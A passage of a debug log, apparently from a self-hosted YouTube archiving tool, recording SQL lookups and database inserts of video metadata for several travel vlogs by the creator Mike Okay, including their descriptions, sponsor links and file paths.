s0 WHERE (s0."id" IN (?)) [3] 17:58:01.146 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=459.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:01.147 [debug] QUERY OK source="media_items" db=0.3ms idle=459.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-27 15:04:44Z], 3] 17:58:01.148 [debug] QUERY OK source="media_items" db=0.8ms idle=460.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "59754c32-3b1a-46fa-9c7e-5ce84bde9817", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", 13, "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, false, false, 3, [], 98, ~U[2026-02-27 15:04:44Z], ~U[2026-08-20 00:58:01Z], ~U[2026-08-20 00:58:01Z], "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, 3, ~U[2026-02-27 15:04:44Z]] 17:58:01.149 [debug] QUERY OK source="sources" db=0.2ms idle=56.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:01.149 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:58:01.149 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18988] 17:58:01.150 [debug] Current batch of media processed. Will check again in 1000ms 17:58:02.150 [debug] Current batch of media processed. Will check again in 1000ms 17:58:03.151 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "duration" => 2973, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", "id" => "W4ZERiu8IMs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=W4ZERiu8IMs", "playlist_index" => 14, "timestamp" => 1769871228, "title" => "They're Lying to You About India...", "upload_date" => "20260131"} 17:58:03.152 [debug] QUERY OK source="sources" db=0.3ms idle=464.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:58:03.152 [debug] QUERY OK source="sources" db=0.2ms idle=465.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:03.153 [debug] QUERY OK source="media_items" db=0.3ms idle=465.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 14:53:48Z], 3] 17:58:03.154 [debug] QUERY OK source="media_items" db=0.8ms idle=466.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "be7b9b66-1e0b-4acb-8835-ef90431b195c", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", 14, "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, false, false, 3, [], 98, ~U[2026-01-31 14:53:48Z], ~U[2026-08-20 00:58:03Z], ~U[2026-08-20 00:58:03Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, 3, ~U[2026-01-31 14:53:48Z]] 17:58:03.154 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=60.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:03.155 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:58:03.155 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18989] 17:58:03.155 [debug] Current batch of media processed. Will check again in 1000ms 17:58:04.156 [debug] Current batch of media processed. Will check again in 1000ms 17:58:05.157 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "duration" => 2343, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", "id" => "bBxtc-Tskto", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bBxtc-Tskto", "playlist_index" => 15, "timestamp" => 1769098339, "title" => "Overnight on Myanmar's Forbidden Border", "upload_date" => "20260122"} 17:58:05.158 [debug] QUERY OK source="sources" db=0.3ms idle=470.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:58:05.158 [debug] QUERY OK source="sources" db=0.1ms idle=471.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:05.159 [debug] QUERY OK source="media_items" db=0.2ms idle=471.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 16:12:19Z], 3] 17:58:05.160 [debug] QUERY OK source="media_items" db=1.0ms idle=472.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "052ffa26-a7d3-440e-93d5-08ab22d155db", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", 15, "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, false, false, 3, [], 98, ~U[2026-01-22 16:12:19Z], ~U[2026-08-20 00:58:05Z], ~U[2026-08-20 00:58:05Z], "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, 3, ~U[2026-01-22 16:12:19Z]] 17:58:05.161 [debug] QUERY OK source="sources" db=0.1ms idle=64.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:05.161 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:58:05.162 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18990] 17:58:05.162 [debug] Current batch of media processed. Will check again in 1000ms 17:58:06.163 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "duration" => 1857, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", "id" => "oiGyXylltRE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oiGyXylltRE", "playlist_index" => 16, "timestamp" => 1766162042, "title" => "Inside the Country that Almost Existed", "upload_date" => "20251219"} 17:58:06.164 [debug] QUERY OK source="sources" db=0.2ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:58:06.164 [debug] QUERY OK source="sources" db=0.1ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:06.165 [debug] QUERY OK source="media_items" db=0.2ms idle=1003.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:34:02Z], 3] 17:58:06.166 [debug] QUERY OK source="media_items" db=0.8ms idle=1003.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "db532c74-de6e-47b6-84fa-ca966f4f0a2f", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", 16, "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, false, false, 3, [], 98, ~U[2025-12-19 16:34:02Z], ~U[2026-08-20 00:58:06Z], ~U[2026-08-20 00:58:06Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, 3, ~U[2025-12-19 16:34:02Z]] 17:58:06.166 [debug] QUERY OK source="sources" db=0.2ms idle=69.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:06.167 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", 